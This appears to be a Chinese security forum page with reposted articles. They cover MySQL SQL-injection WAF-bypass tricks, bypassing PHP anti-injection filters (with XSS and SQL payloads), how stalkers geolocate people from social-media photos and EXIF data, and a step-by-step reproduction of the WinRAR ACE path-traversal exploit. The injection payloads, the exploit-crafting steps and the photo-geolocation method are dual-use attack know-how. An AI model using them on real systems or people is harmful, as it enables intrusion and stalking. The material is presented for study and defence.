使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)其他符号
波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select schema_namefrom information_schema.SCHEMATA limit 0,1)) SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin
内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
{括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
双引号: SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin
括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin
破浪号加字母: SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin
(4)浮点数、1E0的形式、N形式
id=1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin
SELECT * FROM admin WHERE username = 1 union select user(),Nfrom admin
 位置五:from后面的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
破浪号: id=1 union select 1,(select(schema_name)frominformation_schema.SCHEMATA limit 0,1)
内联注释: id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)
{括号: id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
括号: id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
同一个表的情况下,大小写字母加数字都可以
SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin

0x03 函数
 
类型一:常见的过滤函数
  
(1)字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
(2)字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了,然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61)
 
类型二:过滤了特殊符号
    
(1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)
(3)union处的逗号: 通过join拼接。
SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
(4)操作符<>被过滤
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结:使用greatest()绕过比较操作符。
类型三:部分函数构造
    
(1)sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
(2)select {x 1}形式
select{x[可填充字符]1}
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
%21 !
%2b +
%2d -
%40 @
%7e ~
0x04 END
本文汇总了一些常见的Mysql数据库特性和特殊的绕过函数,这是最灵活多变的一种数据库类型,以上这些远远是不够的。比如:单单一个内联注释,就可以嵌套多层,变幻出各种令人诧异的姿势。
仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。

PHP代码层防护与绕过

PHPflaray 发表了文章 • 0 个评论 • 82 次浏览 • 2019-02-26 13:31 • 来自相关话题

转自:https://www.secpulse.com/archives/99326.html 
0x01 前言
  在一些网站通常会在公用文件引入全局防护代码进行SQL注入、XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的。
  这里讨论一下关键字过滤不完善及常见正则匹配存在的问题,并收集了网络上常见的PHP全局防护代码进行分析。

Bypass思路:利用数据库特性或过滤函数逻辑缺陷绕过。
 0x02 关键字过滤
1、使用strpos过滤关键字
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
大小写绕过:id=1 AND 1=1 UNION SELECT 1,2,3  FROM ADMIN
2、使用stripos,进行关键字过滤
   与strpos相比,stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:
当$flag等于0,即关键字在输入参数的第一位,可绕过
id=</script><a href="javascript:alert(/xss/)">xsstest<a>
关键字过滤类似的方法:

<?php
$blacklist_keywords = 'select,from,1=1,--,union,#';
$blacklist = explode(',',$blacklist_keywords);
print_r($blacklist);
foreach($blacklist as $key=>$value){
    //$_REQUEST['id'] = str_replace(strtolower($value),'',strtolower($_REQUEST['id']));               
    $_REQUEST['id'] = str_replace($value,'',$_REQUEST['id']);
}
echo $_REQUEST['id'];

?>
 0x03 正则匹配
1、边界关键词
b 表示单词的边界,因此只有独立的 "union" 单词会被匹配
PHP过滤代码如下:

<?php
if  (preg_match("/b(union|select|from)b/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过数据库的特性,在关键字前后添加字符,打扰关键字边界判断
id=1e0union/*!12345select*/1,2,3,4/*!12345from*/users
2、匹配模式
i 忽略大小写,匹配不考虑大小写,默认不匹配多行
PHP过滤代码如下:

<?php
if  (preg_match("/(?:(union(.*?)select))/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过换行 n可绕过,url编码为%0aid=1 union%23%0aseleCT 1,2,3,4 from users
 
修复方案:

preg_match("/(?:(union(.*?)select))/ims",$_GET['id'])
0x04 PHP通用防护代码
1、safe3 防注入代码

<?php
//Code By Safe3
ini_set('date.timezone','Asia/Shanghai');
function customError($errno, $errstr, $errfile, $errline)
{
   echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
   die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|select|from|(and|or)\b.+?(>|<|=|in|like)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$postfilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$cookiefilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

   if(is_array($StrFiltValue))
   {
       $StrFiltValue=implode($StrFiltValue);
   }
   if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
       slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       @header("http/1.1 404 not found");
       print "<html><title>404: Not Found</title>";
       //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       print "<body>Url里含有非法字符串,属于有误操作!... <a href='/'>您还可以返回首页</a></body></html>";
 ;exit();
   }
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
   StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
   StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
   StopAttack($key,$value,$cookiefilter);
}
function slog($logs)
{
   $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
   $Ts=fopen($toppath,"a+");
   fputs($Ts,$logs."rn");
   fclose($Ts);
}
?>
如果正面怼正则,实在想不到绕过的方式。。
2、360webscan防御脚本
  360网站安全:http://webscan.360.cn
  http://webscan.360.cn/protect/index/?act=reinstall&domain=www.test.com下载漏洞修复插件360webscan.zip  多次下载解压失败,
  无奈,跑到cmseasy下载最新版cms,解压获取 webscan360/360safe目录,分享到网盘,链接: https://pan.baidu.com/s/1nviNi2l 密码: 3itq
  WEBSCAN_VERSION :0.1.3.2

 
SQL语句测试,成功拦截: 

Bypass思路:
  关键的两个正则:

  UNION.+?SELECTs*((.+)s*|@{1,2}.+?s*|s+?.+?|(`|'|").*?(`|'|")s*)
  (SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
  id=1e0union select!1,user(),3,4 from users


0x05 结束
    本文简单演示了几种防护代码和绕过场景,在攻与防的道路上,不只是掌握一些技巧,是与代码的对抗,更是人与人的对抗。
转载自公众号:Bypass 查看全部
转自:https://www.secpulse.com/archives/99326.html 
0x01 前言
  在一些网站通常会在公用文件引入全局防护代码进行SQL注入、XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的。
  这里讨论一下关键字过滤不完善及常见正则匹配存在的问题,并收集了网络上常见的PHP全局防护代码进行分析。

Bypass思路:利用数据库特性或过滤函数逻辑缺陷绕过。
 0x02 关键字过滤
1、使用strpos过滤关键字
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
大小写绕过:id=1 AND 1=1 UNION SELECT 1,2,3  FROM ADMIN
2、使用stripos,进行关键字过滤
   与strpos相比,stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:
当$flag等于0,即关键字在输入参数的第一位,可绕过
id=</script><a href="javascript:alert(/xss/)">xsstest<a>
关键字过滤类似的方法:

<?php
$blacklist_keywords = 'select,from,1=1,--,union,#';
$blacklist = explode(',',$blacklist_keywords);
print_r($blacklist);
foreach($blacklist as $key=>$value){
    //$_REQUEST['id'] = str_replace(strtolower($value),'',strtolower($_REQUEST['id']));               
    $_REQUEST['id'] = str_replace($value,'',$_REQUEST['id']);
}
echo $_REQUEST['id'];

?>
 0x03 正则匹配
1、边界关键词
b 表示单词的边界,因此只有独立的 "union" 单词会被匹配
PHP过滤代码如下:

<?php
if  (preg_match("/b(union|select|from)b/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过数据库的特性,在关键字前后添加字符,打扰关键字边界判断
id=1e0union/*!12345select*/1,2,3,4/*!12345from*/users
2、匹配模式
i 忽略大小写,匹配不考虑大小写,默认不匹配多行
PHP过滤代码如下:

<?php
if  (preg_match("/(?:(union(.*?)select))/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过换行 n可绕过,url编码为%0a
id=1 union%23%0aseleCT 1,2,3,4 from users

 
修复方案:

preg_match("/(?:(union(.*?)select))/ims",$_GET['id'])
0x04 PHP通用防护代码
1、safe3 防注入代码

<?php
//Code By Safe3
ini_set('date.timezone','Asia/Shanghai');
function customError($errno, $errstr, $errfile, $errline)
{
   echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
   die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|select|from|(and|or)\b.+?(>|<|=|in|like)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$postfilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$cookiefilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

   if(is_array($StrFiltValue))
   {
       $StrFiltValue=implode($StrFiltValue);
   }
   if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
       slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       @header("http/1.1 404 not found");
       print "<html><title>404: Not Found</title>";
       //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       print "<body>Url里含有非法字符串,属于有误操作!... <a href='/'>您还可以返回首页</a></body></html>";
 ;exit();
   }
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
   StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
   StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
   StopAttack($key,$value,$cookiefilter);
}
function slog($logs)
{
   $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
   $Ts=fopen($toppath,"a+");
   fputs($Ts,$logs."rn");
   fclose($Ts);
}
?>
如果正面怼正则,实在想不到绕过的方式。。
2、360webscan防御脚本
  360网站安全:http://webscan.360.cn
  http://webscan.360.cn/protect/index/?act=reinstall&domain=www.test.com下载漏洞修复插件360webscan.zip  多次下载解压失败,
  无奈,跑到cmseasy下载最新版cms,解压获取 webscan360/360safe目录,分享到网盘,链接: https://pan.baidu.com/s/1nviNi2l 密码: 3itq
  WEBSCAN_VERSION :0.1.3.2

 
SQL语句测试,成功拦截: 

Bypass思路:
  关键的两个正则:

  UNION.+?SELECTs*((.+)s*|@{1,2}.+?s*|s+?.+?|(`|'|").*?(`|'|")s*)
  (SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
  id=1e0union select!1,user(),3,4 from users


0x05 结束
    本文简单演示了几种防护代码和绕过场景,在攻与防的道路上,不只是掌握一些技巧,是与代码的对抗,更是人与人的对抗。
转载自公众号:Bypass

朋友圈别瞎发照片,指不定跟踪狂就是这样找到你家的

安全资讯zake 发表了文章 • 0 个评论 • 108 次浏览 • 2019-02-25 17:08 • 来自相关话题

 
转自安全脉搏:https://www.secpulse.com/archives/98492.html​ 
作者 :凌云

我有个朋友叫苏苏,她跟我说她在16年被人黑过,最开始是家里的Wi-Fi被人黑了,再到社交账号相继沦陷被盗,紧跟着在QQ邮箱里面给她留了一首陈奕迅的《防不胜防》

防不胜防的歌词,陈奕迅的病态三部曲之一。
然而这不是最让人毛骨悚然的,对方居然在她家里留了个纸条,写着她大姨妈来的日期以及生活的规律

对方留给苏苏的纸条
直到她搬家后才停止了骚扰行为,这种骚扰有个专业名词叫:StalKing,而骚扰她的人则是Stalker。

Stalker就是带有非法或者威胁性的骚扰,这类人群会频繁跟踪受害者,或者监视受害者的上网痕迹,入侵邮箱等行为,甚至会对受害者或者朋友家人作出威胁。

而我们国家目前的法律中表明:“骚扰行为一般不构成犯罪,顶多算侵犯公民隐私,一般送拘留所或者罚几百块。”

正是这个原因,跟踪狂们变得肆无忌惮起来,虽然他们一般不会对受害者造成人身伤害,但造成的心理阴影伴随十几年都是有可能的。

苏苏直到现在收到陌生的快递都在担心这是谁送给她的,而Stalker在网络中说的话异常深情,其实这并不是深情,而是骚扰!

这就是典型的Stalker,可以理解为跟踪狂
姑娘们,我还要跟你们说的是:“你那些不经意的信息泄漏,可能正是跟踪狂的美梦。”

在我上篇文章中,小菲同样是受害者,而小菲正是朋友圈泄漏的信息导致跟踪狂找到家,所以今天我要讲的主题是[size=18]:“朋友圈以后别瞎发,指不定跟踪狂就是在这找到你家的”[/size]

关于小菲的事,新来的可以点:<span style="font-size:15px">有个姑娘被跟踪狂盯上,一调查才发现对方以组织夜跑为幌子,专搞女孩。</span>

在去年我写过一个案例《图片情报分析,根据一张图分析拍摄地点》今天我再次把它搬出来,让姑娘们明白,照片别乱发。

[size=18]这张图片来源于我的朋友圈,征得对方同意后我开始分析拍摄的地点。[/size]


 
01

图片分析拍摄地点
 
有天刷朋友圈的时候看到一张挺漂亮的风景照,然后看到照片中看到一些比较有特色的参照物
 

[size=12]朋友圈看到的照片[/size]
 
我用照片无损放大工具放大照片中的特色建筑物,找到有两处比较有特色的参照物。
 

红色方框标记出来的地方
 
第一处参照物放大之后能够非常清晰看到四个大字 “禹州集团”
 

 
而百度百科告诉我禹州集团分别在 新加坡 香港 上海 合肥 福州 厦门都设有分支机构,我筛选了以上六个城市,唯有厦门是符合。
 

对比黄色条纹线能判断出是符合的
 
为了证明我的猜测,我还对比了隔壁带有蓝色窗户的高楼。
 

左边是原图,右边是全景图
 
第二个参照物是一个圆形,并且周围有很多树,我的猜测是这是一个花园,打开卫星地图,很快就能发现在禹州大厦隔壁确实有个圆形的地方,这个地方叫水上广场。
 

 
拍摄位置是在这个水上广场的河对面,再往前看河对岸的确是一个小区。
 

 
然而当我用全景地图走进东卉花园的时候,我的判断出错了,很明显东卉花园的楼层太矮,如果是这个高度的话是无法拍摄到禹州集团的,所以应该在更加往后的位置拍摄。
 

东卉花园楼层最多11层
 
而我再往后一个小区楼层同样太矮,这时候再次进去拍摄这张图的主人朋友圈里面,看到她在室内拍摄的图片,正是这张图片让我找到了具体在哪栋楼拍摄的。
 

朋友圈找到一张新的图片
 
我再次标出三个参照点,第一个参照点是水上乐园的通往河对岸的一座桥,第二处参照点是一个弧形的小区,第三个参照点则是三角形的斑马线,我用卫星地图很快就找到符合三处参照物的地方,并且用红色方框标记出来了
 

 
最后我用全景地图站在第三处带有三角形斑马线的参照点上,向拍摄的位置看去,符合拍摄角度以及楼层高度的只有一栋楼,中闽大厦。
 

 
事情到这一步,我不具备判断多少层拍摄的能力,你以为危险就消失了吗?
 
假如我是跟踪狂
 
假设我收集了照片拍摄主人的个人信息,比如她的手机号或者姓名,然后用一个改号软件打过去问她:“我是送外卖的,地址填写的是中闽大厦,您方便下来拿吗?或者我送上楼给您,您在哪栋楼哪件房呢?”
 
如果我是一个跟踪狂,并且我也在厦门,我是不是可以给她点一份真正的外卖,在门口守着送快递进来这栋楼的人,等着她下楼拿外卖的时候我跟着上去?又或者跟着外卖小哥上去呢?
 
 
02

照片中遗留的Exif信息
 
看完上面的咱们再来讲讲,照片里遗留的Exif信息,我还得搬出一个案例,同样也是去年的,在调查一个色情网站站长的时候,我找到他上传在一个网站的照片,正是这种照片记录了当时拍摄地点的经纬度,从而导致暴露位置的情况。

这个Exif信息主要会记录下你的拍摄设备型号,经纬度,拍摄时间等等的信息,通过查询经纬度可以查到拍摄地点
 

查看相机Exif信息
 
所以我建议你把相机的定位权限给关掉,虽然微信发朋友圈的照片会替你自动抹除,但是其他社交类APP不保证会给你抹除,为了保险起见,听话。
 

关闭相机定位功能
 
 
 
03

打卡跑步截图记得打码
     我经常看到朋友圈有人发Keep的跑步打卡截图,而这些图片出现的敏感信息,比如"XX学校,XX鸡米饭"等可以通过搜索引擎检索的内容都打上码,防止别有用心的人恶意分析你家住哪。
 

图片来源网络
 
而大多数都是在家附近的跑步,不会到十几公里二十公里外的地方去跑,除非他吃饱撑着了。。。
 
     今天就给你们写到这了,一下子是写不完的,这篇文章很短,但我觉得很精悍,跟踪狂可能就在你身边,不是危言耸听,怀有警惕总没错,别忘了朋友圈设置三天可见!

最后,希望大家能转发一下朋友圈,心系人身丶隐私安全。想要得到更多读者,不求打赏,只求陪伴,谢谢你们。
 
说到这,你应该知道怎么做了
如果还不知道,我给你提个醒。
 
照片出现的敏感信息打码最好把朋友圈设置仅三天可见陌生人别开放朋友圈 查看全部

 

转自安全脉搏:https://www.secpulse.com/archives/98492.html​ 
作者 :凌云

我有个朋友叫苏苏,她跟我说她在16年被人黑过,最开始是家里的Wi-Fi被人黑了,再到社交账号相继沦陷被盗,紧跟着在QQ邮箱里面给她留了一首陈奕迅的《防不胜防》

防不胜防的歌词,陈奕迅的病态三部曲之一。
然而这不是最让人毛骨悚然的,对方居然在她家里留了个纸条,写着她大姨妈来的日期以及生活的规律

对方留给苏苏的纸条
直到她搬家后才停止了骚扰行为,这种骚扰有个专业名词叫:StalKing,而骚扰她的人则是Stalker。

Stalker就是带有非法或者威胁性的骚扰,这类人群会频繁跟踪受害者,或者监视受害者的上网痕迹,入侵邮箱等行为,甚至会对受害者或者朋友家人作出威胁。

而我们国家目前的法律中表明:“骚扰行为一般不构成犯罪,顶多算侵犯公民隐私,一般送拘留所或者罚几百块。”

正是这个原因,跟踪狂们变得肆无忌惮起来,虽然他们一般不会对受害者造成人身伤害,但造成的心理阴影伴随十几年都是有可能的。

苏苏直到现在收到陌生的快递都在担心这是谁送给她的,而Stalker在网络中说的话异常深情,其实这并不是深情,而是骚扰!


这就是典型的Stalker,可以理解为跟踪狂
姑娘们,我还要跟你们说的是:“你那些不经意的信息泄漏,可能正是跟踪狂的美梦。”

在我上篇文章中,小菲同样是受害者,而小菲正是朋友圈泄漏的信息导致跟踪狂找到家,所以今天我要讲的主题是
[size=18]:“朋友圈以后别瞎发,指不定跟踪狂就是在这找到你家的[/size]

关于小菲的事,新来的可以点:<span style="font-size:15px">有个姑娘被跟踪狂盯上,一调查才发现对方以组织夜跑为幌子,专搞女孩。</span>

在去年我写过一个案例《图片情报分析,根据一张图分析拍摄地点》今天我再次把它搬出来,让姑娘们明白,照片别乱发。

[size=18]这张图片来源于我的朋友圈,征得对方同意后我开始分析拍摄的地点。[/size]


 
01

图片分析拍摄地点
 
有天刷朋友圈的时候看到一张挺漂亮的风景照,然后看到照片中看到一些比较有特色的参照物
 

[size=12]朋友圈看到的照片[/size]
 
我用照片无损放大工具放大照片中的特色建筑物,找到有两处比较有特色的参照物。
 

红色方框标记出来的地方
 
第一处参照物放大之后能够非常清晰看到四个大字 “禹州集团”
 

 
而百度百科告诉我禹州集团分别在 新加坡 香港 上海 合肥 福州 厦门都设有分支机构,我筛选了以上六个城市,唯有厦门是符合。
 

对比黄色条纹线能判断出是符合的
 
为了证明我的猜测,我还对比了隔壁带有蓝色窗户的高楼。
 

左边是原图,右边是全景图
 
第二个参照物是一个圆形,并且周围有很多树,我的猜测是这是一个花园,打开卫星地图,很快就能发现在禹州大厦隔壁确实有个圆形的地方,这个地方叫水上广场
 

 
拍摄位置是在这个水上广场的河对面,再往前看河对岸的确是一个小区。
 

 
然而当我用全景地图走进东卉花园的时候,我的判断出错了,很明显东卉花园的楼层太矮,如果是这个高度的话是无法拍摄到禹州集团的,所以应该在更加往后的位置拍摄。
 

东卉花园楼层最多11层
 
而我再往后一个小区楼层同样太矮,这时候再次进去拍摄这张图的主人朋友圈里面,看到她在室内拍摄的图片,正是这张图片让我找到了具体在哪栋楼拍摄的。
 

朋友圈找到一张新的图片
 
我再次标出三个参照点,第一个参照点是水上乐园的通往河对岸的一座桥,第二处参照点是一个弧形的小区,第三个参照点则是三角形的斑马线,我用卫星地图很快就找到符合三处参照物的地方,并且用红色方框标记出来了
 

 
最后我用全景地图站在第三处带有三角形斑马线的参照点上,向拍摄的位置看去,符合拍摄角度以及楼层高度的只有一栋楼,中闽大厦。
 

 
事情到这一步,我不具备判断多少层拍摄的能力,你以为危险就消失了吗?
 
假如我是跟踪狂
 
假设我收集了照片拍摄主人的个人信息,比如她的手机号或者姓名,然后用一个改号软件打过去问她:“我是送外卖的,地址填写的是中闽大厦,您方便下来拿吗?或者我送上楼给您,您在哪栋楼哪件房呢?”
 
如果我是一个跟踪狂,并且我也在厦门,我是不是可以给她点一份真正的外卖,在门口守着送快递进来这栋楼的人,等着她下楼拿外卖的时候我跟着上去?又或者跟着外卖小哥上去呢?
 
 
02

照片中遗留的Exif信息
 
看完上面的咱们再来讲讲,照片里遗留的Exif信息,我还得搬出一个案例,同样也是去年的,在调查一个色情网站站长的时候,我找到他上传在一个网站的照片,正是这种照片记录了当时拍摄地点的经纬度,从而导致暴露位置的情况。

这个Exif信息主要会记录下你的拍摄设备型号,经纬度,拍摄时间等等的信息,通过查询经纬度可以查到拍摄地点
 

查看相机Exif信息
 
所以我建议你把相机的定位权限给关掉,虽然微信发朋友圈的照片会替你自动抹除,但是其他社交类APP不保证会给你抹除,为了保险起见,听话。
 

关闭相机定位功能
 
 
 
03

打卡跑步截图记得打码
     我经常看到朋友圈有人发Keep的跑步打卡截图,而这些图片出现的敏感信息,比如"XX学校,XX鸡米饭"等可以通过搜索引擎检索的内容都打上码,防止别有用心的人恶意分析你家住哪。
 

图片来源网络
 
而大多数都是在家附近的跑步,不会到十几公里二十公里外的地方去跑,除非他吃饱撑着了。。。
 
     今天就给你们写到这了,一下子是写不完的,这篇文章很短,但我觉得很精悍,跟踪狂可能就在你身边,不是危言耸听,怀有警惕总没错,别忘了朋友圈设置三天可见!

最后,希望大家能转发一下朋友圈,心系人身丶隐私安全。想要得到更多读者,不求打赏,只求陪伴,谢谢你们。
 
说到这,你应该知道怎么做了
如果还不知道,我给你提个醒。
 
  1. 照片出现的敏感信息打码
  2. 最好把朋友圈设置仅三天可见
  3. 陌生人别开放朋友圈

WinRAR漏洞详细复现过程

渗透测试wuyou 发表了文章 • 1 个评论 • 312 次浏览 • 2019-02-22 15:35 • 来自相关话题

漏洞描述:
2019年2月20日,Check Point团队爆出了一个关于WinRAR存在19年的漏洞, 该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,即在解压一个恶意ACE文件时,解压目录会被设置为Startup文件夹,这个文件夹可在电脑重新启动时自动运行文件夹内的程序,从而造成任意代码执行的效果。
漏洞影响版本:
WinRAR < 5.70 Beta 1
Bandizip    < = 6.2.0.0
好压(2345压缩)    < = 5.9.8.10907
360压缩    < = 4.0.0.1170
PS:目前我在WinRAR上复现成功,但是在Bandzip上失败,看来有些软件的行动还是蛮快的。
漏洞验证:
首先,我下载并安装了唯一允许创建ACE存档的软件 WinACE
然后在桌面创建了一个txt的文本,并用它作为最后存入Startup文件夹的文件





用把txt拖入WinACE的方式打开WinACE
点击Create,再次把txt拖入新出现的弹框内,再把下方的store full path设置好,最后点击Add创建。





这时桌面上就出现了创建好的ACE文件,接下来我们需要一个python脚本:acefile.py
https://github.com/droe/acefile

运行这个py脚本,我们可以看到新创建的ACE文件的头信息





红框中的内容即为解压时的目录,我们需要做的便是手动修改它,Check Point团队为我们准备好了最终的向量:
C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.txt

下来,因为CRC的保护,如何手动修改就成为了关键的一步:
你需要有一个编辑工具如WinHex等,这里我个人习惯使用HEdit
用十六进制的方法打开ACE文件后,我们需要修改四个地方

首先,将预设的解压目录修改为我们的最终向量





第二,修改路径长度为新向量长度









第三,修改hdr_size,我的长度为111,十六进制为6f





第四,用编辑器打开acefile.py
寻找CRC failed,找到下面这一行





将代码中输出的CRC failed改为变量的值





再次执行python脚本
将这个值转换为16进制后即为我们最后一处用来修改的内容





63686,转换为16进制为f8c6,我们使用的时候要颠倒一下即为c6f8





将红圈中的内容修改为新内容后即可完成操作。
